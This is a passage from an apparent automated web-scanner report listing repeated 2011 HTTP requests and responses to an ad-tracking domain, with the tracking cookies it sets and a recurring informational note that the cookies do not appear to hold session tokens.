rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCl+CTSaM1VkRla8I=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:03 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e6497&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:03 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:02 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/118073152.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzk/cnfwRV+8er9duzVms/EZMc; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:38:50 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e648a&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:38:50 GMT; Path=/ X-Proc-ms: 2 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:38:50 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/123757995.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LClyETCWI0VkREa9s=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:15 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e64a3&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:15 GMT; Path=/ X-Proc-ms: 2 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:14 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/128688612.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVIxEbUkvQSU+Mer9duzVms+/pMu; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:21 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98b1&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:21 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:21 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/129048156.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORh